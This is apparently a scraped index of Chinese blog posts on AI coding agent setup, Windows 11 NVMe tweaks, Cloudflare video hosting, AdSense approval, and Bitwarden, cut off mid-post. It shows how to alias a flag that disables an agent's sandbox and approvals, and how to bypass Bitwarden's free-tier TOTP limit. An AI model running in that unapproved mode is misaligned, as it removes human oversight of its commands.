Endpoint、API Key、模型名，它会自动生成并应用对应 Agent 的 JSON 配置。\n同时也支持图形化配置 MCP 和 Skill。\nZCF 这个工具可以自动帮你安装 Agent，并一键部署一些主流 MCP，还能设置模型系统提示词预设，并提供基础工作流。\n从零安装并配置一个 Agent 你需要事先准备一个模型 API\n先设置 NPM 镜像源：npmmirror 镜像站\n全局安装 zcf（Node 20.x+）：\nnpm install -g zcf 运行 zcf：\nnpx zcf 接着把目标 Agent 从 Claude Code 切换为 Codex。输入 S 切换到 Codex。\n然后输入 1 执行完整初始化，按需勾选即可。\n默认情况下，AI Agent 会先在沙盒里执行命令；如果某条指令在沙盒中失败，才会询问你是否允许在正常环境执行。\n你也可以使用一个高风险启动参数，让 Codex 进入“无人值守、默认放行”的模式：\n[!caution] 使用该参数启动 Codex 后，指令可能被 默认执行，并且默认在 正常环境 下运行。这非常危险，请务必谨慎。\ncodex --dangerously-bypass-approvals-and-sandbox 这个命令很长，可以做成别名。\nBash： alias codexfull=\u0026#39;codex --dangerously-bypass-approvals-and-sandbox\u0026#39; PowerShell： # 创建 PS 配置文件 New-Item -Type File -Force $PROFILE # 用记事本打开 PS 配置文件 notepad $PROFILE 加入这一段：\nfunction codexfull { codex --dangerously-bypass-approvals-and-sandbox $args } 之后在你的项目目录直接输入 codexfull，即可启动一个高权限执行模式的 Agent。\n接下来你就可以让它做你要做的事：删文件、写文章、修 Bug，甚至从零搭建项目。\n","permalink":"https://blog.2x.nz/posts/ai-agent/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e了解我的人通常都知道，我平时写代码主要用 AI IDE，比如 Trae、Cursor 等。\u003c/p\u003e\n\u003cp\u003eAI IDE 的优势很明显：在保留 Git、代码高亮等高效手动工具的同时，把最耗时的代码编写交给 AI，我们只需要用自然语言描述目标即可。\u003cem\u003e图为 Trae\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ai-agent/img/ai-agent-1.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"ai-agent-是什么\"\u003eAI Agent 是什么？\u003c/h1\u003e\n\u003cp\u003e简单来说，AI Agent 一般提供的是一个“偏终端化”的工作环境。和 AI IDE 一样，它也能通过自然语言完成开发任务。\u003c/p\u003e\n\u003cp\u003e看起来好像和 AI IDE 没区别？其实差别很大。\u003c/p\u003e\n\u003cp\u003e如果你是先用 AI IDE，再切到 AI Agent，通常会感受到明显落差：界面更朴素，交互更直接。\u003c/p\u003e\n\u003cp\u003eAI Agent 往往只给你一个输入框。你描述目标后，它不仅能写代码，还能借助外部能力给自己“加特技”。\u003c/p\u003e\n\u003cp\u003e比如接入 \u003cstrong\u003ePlaywright MCP\u003c/strong\u003e，它就可以自动改前端代码并执行自动化调试。\u003c/p\u003e\n\u003cp\u003e换句话说，AI Agent 的上手门槛看起来更低：你不一定要先理解完整代码结构，也不需要手动管理每一步流程。当然，对熟手来说，这种模式有时会降低精细控制的效率，但确实能省下不少精力。\u003c/p\u003e\n\u003cp\u003e例如，我们可以把 Git 推送远程仓库这类流程交给 AI：自动生成 commit、自动配置代理、自动 push，并把本次规则和约束持久化，下次就不用重复说明。\u003cem\u003e图为 Codex\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ai-agent/img/ai-agent-2.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"各-ai-agent-的区别\"\u003e各 AI Agent 的区别\u003c/h1\u003e\n\u003ch3 id=\"opencode--开源-ai-编程代理\"\u003e\u003ca href=\"https://opencode.ai/zh\"\u003eOpenCode | 开源 AI 编程代理\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e游客可以直接使用免费的公益模型，不需要付费。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ai-agent/img/Image_1772724238045_770.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"claude-code-by-anthropic--ai-coding-agent-terminal-ide\"\u003e\u003ca href=\"https://claude.com/product/claude-code\"\u003eClaude Code by Anthropic | AI Coding Agent, Terminal, IDE\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e它需要一个 \u003cstrong\u003ePOSIX Terminal\u003c/strong\u003e（比如 \u003cstrong\u003eGit Bash\u003c/strong\u003e）。否则很多终端命令无法正常执行，因为它的工作流高度依赖 Bash 命令（如 \u003ccode\u003ecat\u003c/code\u003e、\u003ccode\u003els\u003c/code\u003e）。\u003c/p\u003e","title":"AI Agent 二三事"},{"content":"前言 简单来说，Windows为了兼容性，始终都在让我们的NVMe固态硬盘模拟为SCSI跑\n但是就在前不久，微软为新版Windows11提供了一个开关，允许将NVMe固态硬盘使用原生的NVMe驱动\n实测 可以明显看到，在4K随机读写都有不小的提升。而4K性能提升有助于提升在频繁IO工作下的性能，比如浏览网页，列出文件，查看任务管理器\n该功能似乎并不仅限于提升极限性能，也提升了磁盘冷启动的速度，貌似可以缓解一些莫名其妙的顿卡\n总之推荐开启\n为我的Win11启用原生NVMe驱动 [!caution] 数据无价，谨慎操作\n[!warning] 操作之前请确保你的磁盘使用 微软官方 的驱动，而不是 盘厂驱动 或 启用了 Intel VMD ，否则操作后将无法进入系统\n前往 https://github.com/thebookisclosed/ViVe 下载 ViVeTool\n接下来查看你的系统版本号，不同版本需要执行不同命令：\n对于Windows 11 24H2/25H2：\nvivetool.exe /enable /id:48613417,48433719,49453572,55369237,59254307,59274315 对于Windows 11 26H1：\nvivetool.exe /enable /id:48613417,48433719,49453572 执行命令后重启电脑，开机后打开 设备管理器 ，若多出新条目 存储磁盘 ，且该条目中有若干个 NVMe磁盘 则开启成功\n参考文献 · 鸣谢 为此文编写奠定了基础 - https://www.bilibili.com/video/BV1CHi8BjELT\n部分图片资源引用 - https://www.bilibili.com/opus/1154814983921467415\n","permalink":"https://blog.2x.nz/posts/win11-native-nvme/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e简单来说，Windows为了兼容性，始终都在让我们的NVMe固态硬盘模拟为SCSI跑\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/win11-native-nvme/img/win11-native-nvme-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e但是就在前不久，微软为新版Windows11提供了一个开关，允许将NVMe固态硬盘使用原生的NVMe驱动\u003c/p\u003e\n\u003ch1 id=\"实测\"\u003e实测\u003c/h1\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/win11-native-nvme/img/4833b89c-f0b6-42f0-9430-55dafc770678.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/win11-native-nvme/img/d86fb68e-f5a4-4a18-a94f-e31d309457bd.png\"\u003e\u003c/p\u003e\n\u003cp\u003e可以明显看到，在4K随机读写都有不小的提升。而4K性能提升有助于提升在频繁IO工作下的性能，比如浏览网页，列出文件，查看任务管理器\u003c/p\u003e\n\u003cp\u003e该功能似乎并不仅限于提升极限性能，也提升了磁盘冷启动的速度，貌似可以缓解一些莫名其妙的顿卡\u003c/p\u003e\n\u003cp\u003e总之推荐开启\u003c/p\u003e\n\u003ch1 id=\"为我的win11启用原生nvme驱动\"\u003e为我的Win11启用原生NVMe驱动\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!caution]\n数据无价，谨慎操作\u003c/p\u003e\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!warning]\n操作之前请确保你的磁盘使用 \u003cstrong\u003e微软官方\u003c/strong\u003e 的驱动，而不是 \u003cstrong\u003e盘厂驱动\u003c/strong\u003e 或 \u003cstrong\u003e启用了 Intel VMD\u003c/strong\u003e ，否则操作后将无法进入系统\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e前往 \u003ca href=\"https://github.com/thebookisclosed/ViVe\"\u003ehttps://github.com/thebookisclosed/ViVe\u003c/a\u003e 下载 \u003cstrong\u003eViVeTool\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e接下来查看你的系统版本号，不同版本需要执行不同命令：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/win11-native-nvme/img/win11-native-nvme-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e对于Windows 11 24H2/25H2：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003evivetool.exe \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eenable \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eid:\u003cspan style=\"color:#ae81ff\"\u003e48613417\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e48433719\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e49453572\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e55369237\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e59254307\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e59274315\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e对于Windows 11 26H1：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003evivetool.exe \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eenable \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eid:\u003cspan style=\"color:#ae81ff\"\u003e48613417\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e48433719\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e49453572\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e执行命令后重启电脑，开机后打开 \u003cstrong\u003e设备管理器\u003c/strong\u003e ，若多出新条目 \u003cstrong\u003e存储磁盘\u003c/strong\u003e ，且该条目中有若干个 \u003cstrong\u003eNVMe磁盘\u003c/strong\u003e 则开启成功\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/win11-native-nvme/img/win11-native-nvme-3.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"参考文献--鸣谢\"\u003e参考文献 · 鸣谢\u003c/h1\u003e\n\u003cp\u003e为此文编写奠定了基础 - \u003ca href=\"https://www.bilibili.com/video/BV1CHi8BjELT\"\u003ehttps://www.bilibili.com/video/BV1CHi8BjELT\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e部分图片资源引用 - \u003ca href=\"https://www.bilibili.com/opus/1154814983921467415\"\u003ehttps://www.bilibili.com/opus/1154814983921467415\u003c/a\u003e\u003c/p\u003e","title":"一行命令拉爆你的Win11硬盘4K随机性能！"},{"content":"引言 你可能看过 这一期文章 ，在该文章中，我们嵌入了一个视频，并且是由Cloudflare“原生”提供的，你是否想知道这是怎么做到的？\n原理 众所周知，视频其实就是文件\n而Cloudflare有一项业务支持在它的边缘节点上直接存放文件\n当然，我说的并不是Cloudflare R2这个对象存储\n而是Cloudflare Page/Worker的静态资产分发\n你可能会想说，欸？这东西不是限制单文件最大25MB吗？稍微大点的视频是不是就没法放了？那也没啥用嘛\n并非，如果你稍微了解现代Web的流媒体播放，你就会知道，实际上，大部分流媒体资源播放时，客户端并不会一次性下载整个视频包体，而是采用流式传输\n简单来说，就是将一个大视频进行分片，客户端只需要下载其中一个小片，即可立即开始播放，之后就是传统的边播边下了\n那么既然我们分片了，就可以轻松绕过单文件25MB这个限制了\n不过我们刚刚讲的都是些理论，众所周知，理论都是简单的，实践都是困难的\n那么我们怎么从0实现它呢？\n实操 接下来，我就以刚才提到的文章中的视频的源文件举例，可以看到，它是一个AV1编码的MP4，并且有1GB之大\n接下来，我们使用 FFmpeg 将其转为流式MP4\nffmpeg -i 0.mp4 -map 0 -c copy -f dash -seg_duration 4 -use_template 1 -use_timeline 1 manifest.mpd 接下来，我们就能得到产物： 一个 .mpd 和一堆 .m4s\n其中 .mpd 为索引文件，而 .m4s 文件才是真正的被切片后的视频流\n改为按大小排序，可以看到其中最大一个切片也才 ≈ 18MB，完全符合Cloudflare所规定的单文件最大25MB的规定\n好了，接下来我们只需要将其上传到Cloudflare Page了，然后绑定一个域名，这样，我们就成功在Cloudflare上托管一条视频了\n然后呢？我们需要配置客户端，或者说，让你的网站能够读取该视频并播放对吧\n一般来说，将一个视频流式传输在浏览器中播放有多种方案，这里就介绍一种最简单的，利用 Dash.js 来在浏览器中流式播放 流式MP4\n这非常简单！\n首先，使用CDN引入 Dash.js 至 \u0026lt;body\u0026gt; 块内： dashjs - Libraries - cdnjs - The #1 free and open source CDN built to make life easier for developers\n\u0026lt;script src=\u0026#34;https://cdn.dashjs.org/latest/dash.all.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 然后在你想嵌入视频的页面放置一个带 data-dashjs-player 属性的 \u0026lt;video\u0026gt; 块，将 src 设为 .mpd 即可，比如\u0026hellip;\n\u0026lt;video data-dashjs-player src=\u0026#34;https://f.2x.nz/jkw/manifest.mpd\u0026#34; controls autoplay\u0026gt; \u0026lt;/video\u0026gt; 就这么简单！\n至此，我们成功将一个1GB大小的文件托管到了Cloudflare，并且成功在我们的网站中播放！\n","permalink":"https://blog.2x.nz/posts/cfvideo/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e你可能看过 \u003ca href=\"/posts/jkw/\"\u003e这一期文章\u003c/a\u003e ，在该文章中，我们嵌入了一个视频，并且是由Cloudflare“原生”提供的，你是否想知道这是怎么做到的？\u003c/p\u003e\n\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cp\u003e众所周知，视频其实就是文件\u003c/p\u003e\n\u003cp\u003e而Cloudflare有一项业务支持在它的边缘节点上直接存放文件\u003c/p\u003e\n\u003cp\u003e当然，我说的并不是Cloudflare R2这个对象存储\u003c/p\u003e\n\u003cp\u003e而是Cloudflare Page/Worker的静态资产分发\u003c/p\u003e\n\u003cp\u003e你可能会想说，欸？这东西不是限制单文件最大25MB吗？稍微大点的视频是不是就没法放了？那也没啥用嘛\u003c/p\u003e\n\u003cp\u003e并非，如果你稍微了解现代Web的流媒体播放，你就会知道，实际上，大部分流媒体资源播放时，客户端并不会一次性下载整个视频包体，而是采用流式传输\u003c/p\u003e\n\u003cp\u003e简单来说，就是将一个大视频进行分片，客户端只需要下载其中一个小片，即可立即开始播放，之后就是传统的边播边下了\u003c/p\u003e\n\u003cp\u003e那么既然我们分片了，就可以轻松绕过单文件25MB这个限制了\u003c/p\u003e\n\u003cp\u003e不过我们刚刚讲的都是些理论，众所周知，理论都是简单的，实践都是困难的\u003c/p\u003e\n\u003cp\u003e那么我们怎么从0实现它呢？\u003c/p\u003e\n\u003ch1 id=\"实操\"\u003e实操\u003c/h1\u003e\n\u003cp\u003e接下来，我就以刚才提到的文章中的视频的源文件举例，可以看到，它是一个AV1编码的MP4，并且有1GB之大\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cfvideo/img/cfvideo-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cfvideo/img/cfvideo-5.png\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来，我们使用 \u003cstrong\u003eFFmpeg\u003c/strong\u003e 将其转为流式MP4\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003effmpeg -i 0.mp4 -map \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e -c copy -f dash -seg_duration \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e -use_template \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e -use_timeline \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e manifest.mpd\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e接下来，我们就能得到产物： \u003cstrong\u003e一个 \u003ccode\u003e.mpd\u003c/code\u003e 和一堆 \u003ccode\u003e.m4s\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cfvideo/img/cfvideo-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e其中 \u003ccode\u003e.mpd\u003c/code\u003e 为索引文件，而 \u003ccode\u003e.m4s\u003c/code\u003e 文件才是真正的被切片后的视频流\u003c/p\u003e\n\u003cp\u003e改为按大小排序，可以看到其中最大一个切片也才 ≈ 18MB，完全符合Cloudflare所规定的单文件最大25MB的规定\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/cfvideo/img/cfvideo-4.png\"\u003e\u003c/p\u003e\n\u003cp\u003e好了，接下来我们只需要将其上传到Cloudflare Page了，然后绑定一个域名，这样，我们就成功在Cloudflare上托管一条视频了\u003c/p\u003e\n\u003cp\u003e然后呢？我们需要配置客户端，或者说，让你的网站能够读取该视频并播放对吧\u003c/p\u003e\n\u003cp\u003e一般来说，将一个视频流式传输在浏览器中播放有多种方案，这里就介绍一种最简单的，利用 \u003ca href=\"https://reference.dashif.org/\"\u003eDash.js\u003c/a\u003e 来在浏览器中流式播放 \u003cstrong\u003e流式MP4\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e这非常简单！\u003c/p\u003e\n\u003cp\u003e首先，使用CDN引入 Dash.js 至 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 块内： \u003ca href=\"https://cdnjs.com/libraries/dashjs\"\u003edashjs - Libraries - cdnjs - The #1 free and open source CDN built to make life easier for developers\u003c/a\u003e\u003c/p\u003e","title":"教你在Cloudflare上原生托管视频！自建YouTube！"},{"content":"\n由于视频过大，需要等待加载。同时确保你的设备支持AV1解码\nhttps://github.com/FalseFor/GeekerwanTest2026/\n戳我看原理\n","permalink":"https://blog.2x.nz/posts/jkw/","summary":"\u003cp\u003e\u003cvideo  \ndata-dashjs-player  \nsrc=\"https://f.2x.nz/jkw/manifest.mpd\"  \ncontrols  \nautoplay\u003e\u003cbr\u003e\n\u003c/video\u003e\u003c/p\u003e\n\u003cp\u003e由于视频过大，需要等待加载。同时确保你的设备支持AV1解码\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/FalseFor/GeekerwanTest2026/\"\u003ehttps://github.com/FalseFor/GeekerwanTest2026/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/posts/cfvideo/\"\u003e戳我看原理\u003c/a\u003e\u003c/p\u003e","title":"极客湾手机大横评补档"},{"content":"Google Adsense 是什么 它是Google提供的一个广告服务。当您的网站通过Adsense审核后，Google将会开始在你的网站中插入广告展示给访客，从而让你赚取收入\n申请 Google Adsense 前往 https://adsense.google.com/ ，填写网站的相关信息，并通过所有权验证（有三种方式，建议都做）\n其中，地址一栏必须填写 真实、精确的 信息。因为在第一次提现前，Google会给你寄一封 实体验证码 ，没有该验证码将无法提现\n虽然其他条目没有严格要求，但也建议实实在在，真真实实地填写\n提交后，Google会审核你的网站，一般来说，前几次都不会通过，不过，你非常幸运！读到了这篇文章，它能保障你的网站符合Adsense的标准，一次通过！\n正片：你需要对网站做什么 不要移除Adsense的JS代码 。该JS是Google动态插入广告的方式 不要频繁更换域名 。提交申请后请保证你的域名在长时间内始终可用 在审核期间多多更新网站 。至少让最新的文章是在近期，以证明你的网站活跃 在搜索引擎上有良好的SEO 。搜索你的网站： site: xx.xx 可以得到一个不错的搜索结果即可。详见： 如何提高网站的SEO？ - 《二叉树树》官方网站 网站原创文章达到 30+ 篇 。及格线是15篇，但是越多越好，且不要抄袭/照搬，原创度要高于70% 不要放置违禁内容 。如色情、暴力、引战等内容，哪怕这些内容可以短时间吸引大量访客浏览 设置隐私政策页面 。一个正规的网站应当尊重访客的个人隐私，您需要声明您收集访客的何种信息，以及会做何保护措施 添加 Cookie 同意组件 。如果你的网站分析访客行为，或收集访客行为并交由第三方机构分析，您不仅需要披露它，也需要让用户有选择权，使得访客可以保护自己的个人信息 宣传网站，提升合法流量 。可以用各种方式提升网站的访问量，包括但不限于在大型论坛发帖，建立社媒发布音视频引流等。以让更多用户了解并访问您的网站 提升网站互动 。可以为网站接入评论区/访问量显示，可以在明面上让人觉得这个网站很有热度，提升网站活跃度 保证网站稳定运行 。推荐使用Cloudflare托管网站，可以零成本抵御DDoS攻击。保证在Adsense审核期间您的网站始终可用 始终申请，被拒后一直申请直到通过 。Adsense并没有黑名单这类机制，如果申请被拒，请让你的网站变得更好，然后再次申请，直到通过审核即可 我的心路历程 自从25年8月开始（实际上更早），我就开始申请Adsense了。期间一直被拒，直到今天成功通过\n最开始被拒绝的理由是 低价值内容 ，但在随后的几次直接变为了账号违反 Adsense 准则，不再提供详细的理由了\n但我依然没有放弃，始终申请，每一次申请都让网站变得更易用，更有用\n从最初的只有50多篇文章，到如今的137篇文章\n从最初的简单静态只读站点，到如今的加入了访问量，评论区，文章Diff，以及各种小功能\n从最初的没有友链，到如今的109条友链\n从最初的各种跟踪器百花齐放，到如今的分类规整，访客可以自由调节允许收集的信息\n从最初的博客，仅提供文章查阅，到如今的官网，各类精品功能应有尽有\n从最初的只有我一人浏览，到如今的月IP12k\n一路走来，感谢有你。无论是想要让网站赚取收入，又或是仅仅想让它变得更好，都需要我们一步一个脚印，千里之行，始于足下，让我们一起迈向更好的明天！\n","permalink":"https://blog.2x.nz/posts/google-adsense/","summary":"\u003ch1 id=\"google-adsense-是什么\"\u003eGoogle Adsense 是什么\u003c/h1\u003e\n\u003cp\u003e它是Google提供的一个广告服务。当您的网站通过Adsense审核后，Google将会开始在你的网站中插入广告展示给访客，从而让你赚取收入\u003c/p\u003e\n\u003ch1 id=\"申请-google-adsense\"\u003e申请 Google Adsense\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://adsense.google.com/\"\u003ehttps://adsense.google.com/\u003c/a\u003e ，填写网站的相关信息，并通过所有权验证（有三种方式，建议都做）\u003c/p\u003e\n\u003cp\u003e其中，地址一栏必须填写 \u003cstrong\u003e真实、精确的\u003c/strong\u003e 信息。因为在第一次提现前，Google会给你寄一封 \u003cstrong\u003e实体验证码\u003c/strong\u003e ，没有该验证码将无法提现\u003c/p\u003e\n\u003cp\u003e虽然其他条目没有严格要求，但也建议实实在在，真真实实地填写\u003c/p\u003e\n\u003cp\u003e提交后，Google会审核你的网站，一般来说，前几次都不会通过，不过，你非常幸运！读到了这篇文章，它能保障你的网站符合Adsense的标准，一次通过！\u003c/p\u003e\n\u003ch1 id=\"正片你需要对网站做什么\"\u003e正片：你需要对网站做什么\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003e不要移除Adsense的JS代码\u003c/strong\u003e 。该JS是Google动态插入广告的方式\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e不要频繁更换域名\u003c/strong\u003e 。提交申请后请保证你的域名在长时间内始终可用\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e在审核期间多多更新网站\u003c/strong\u003e 。至少让最新的文章是在近期，以证明你的网站活跃\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e在搜索引擎上有良好的SEO\u003c/strong\u003e 。搜索你的网站： \u003ccode\u003esite: xx.xx\u003c/code\u003e 可以得到一个不错的搜索结果即可。详见： \u003ca href=\"/posts/improve-seo/\"\u003e如何提高网站的SEO？ - 《二叉树树》官方网站\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e网站原创文章达到 30+\u003c/strong\u003e 篇 。及格线是15篇，但是越多越好，且不要抄袭/照搬，原创度要高于70%\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e不要放置违禁内容\u003c/strong\u003e 。如色情、暴力、引战等内容，哪怕这些内容可以短时间吸引大量访客浏览\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e设置隐私政策页面\u003c/strong\u003e 。一个正规的网站应当尊重访客的个人隐私，您需要声明您收集访客的何种信息，以及会做何保护措施\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e添加 Cookie 同意组件\u003c/strong\u003e 。如果你的网站分析访客行为，或收集访客行为并交由第三方机构分析，您不仅需要披露它，也需要让用户有选择权，使得访客可以保护自己的个人信息\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e宣传网站，提升合法流量\u003c/strong\u003e 。可以用各种方式提升网站的访问量，包括但不限于在大型论坛发帖，建立社媒发布音视频引流等。以让更多用户了解并访问您的网站\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e提升网站互动\u003c/strong\u003e 。可以为网站接入评论区/访问量显示，可以在明面上让人觉得这个网站很有热度，提升网站活跃度\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e保证网站稳定运行\u003c/strong\u003e 。推荐使用Cloudflare托管网站，可以零成本抵御DDoS攻击。保证在Adsense审核期间您的网站始终可用\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e始终申请，被拒后一直申请直到通过\u003c/strong\u003e 。Adsense并没有黑名单这类机制，如果申请被拒，请让你的网站变得更好，然后再次申请，直到通过审核即可\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"我的心路历程\"\u003e我的心路历程\u003c/h1\u003e\n\u003cp\u003e自从25年8月开始（实际上更早），我就开始申请Adsense了。期间一直被拒，直到今天成功通过\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/google-adsense/img/google-adsense-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e最开始被拒绝的理由是 \u003cstrong\u003e低价值内容\u003c/strong\u003e ，但在随后的几次直接变为了账号违反 Adsense 准则，不再提供详细的理由了\u003c/p\u003e\n\u003cp\u003e但我依然没有放弃，始终申请，每一次申请都让网站变得更易用，更有用\u003c/p\u003e\n\u003cp\u003e从最初的只有50多篇文章，到如今的137篇文章\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/google-adsense/img/google-adsense-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e从最初的简单静态只读站点，到如今的加入了访问量，评论区，文章Diff，以及各种小功能\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/google-adsense/img/google-adsense-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/google-adsense/img/google-adsense-4.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/google-adsense/img/google-adsense-5.png\"\u003e\u003c/p\u003e\n\u003cp\u003e从最初的没有友链，到如今的109条友链\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/google-adsense/img/google-adsense-7.png\"\u003e\u003c/p\u003e\n\u003cp\u003e从最初的各种跟踪器百花齐放，到如今的分类规整，访客可以自由调节允许收集的信息\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/google-adsense/img/google-adsense-8.png\"\u003e\u003c/p\u003e\n\u003cp\u003e从最初的博客，仅提供文章查阅，到如今的官网，各类精品功能应有尽有\u003c/p\u003e","title":"保姆级通过Google Adsense的教程！"},{"content":"Bitwarden以及Bitwarden.com是什么 Bitwarden是一个开源的密码库工具（云服务或自托管），用户可以将所有网站的登录凭据（包含：密码、TOTP、通行密钥等） 端到端加密 存储至其中。并在需要的时候自动填充帮你登录网站。这样，你就不再需要记住各个网站的账号密码了，只要你能访问Bitwarden，它会帮你做好一切\n而Bitwarden.com是一项服务，提供用以存储密码库的服务器，使得用户 无需自有服务器 就可以使用Bitwarden\nBitwarden.com 免费版的“默认”限制 Best Password Manager for Business, Enterprise \u0026amp; Personal | Bitwarden 免费版没法用TOTP，必须花钱来升级套餐实现\n我们当然也可以选择不在任何网站使用TOTP，但这样的话。所有网站都只有密码保护你的账号，从长远来看这并不安全\nBitwarden.com 免费版实际上限制的东西 实际上，如果你曾经用过其他密码库，并存储了TOTP，并将其导入到 Bitwarden.com ，你会发现，它是可以成功导入的，只不过是无法“自动填充”\n那么也就是说，实际上 Bitwarden.com 并没有封禁免费用户存储TOTP的权限\n它只是在前端阻止了免费用户“自动填充”TOTP的权限\n绕过 Bitwarden.com 免费版无法自动填充TOTP的限制 既然它是在前端阻止，我们实际上是有办法绕过的\n无非就是自建一个第三方客户端/浏览器插件，然后在判断VIP的字段让它始终返回 true 即可\n我们当然可以自己从零来实现，当然，也可以直接寻找市面上已有的，不错的解决方案\n针对于 Android 我们可以使用 AChep/keyguard-app: Alternative client for the Bitwarden® platform \u0026amp; KeePass (KDBX), created to provide the best user experience possible. 这个开源的第三方Bitwarden客户端\n注意，不要去Google Play下载。只有Github的版本拥有全部功能\n此时，登录你的Bitwarden账号，即可绕过免费版限制，使用TOTP自动填充\n关于KeyGuard对通行密钥的适配问题 KeyGuard可能无法自动填充你的通行密钥，这可能由多种情况导致，但一般是这种情况： 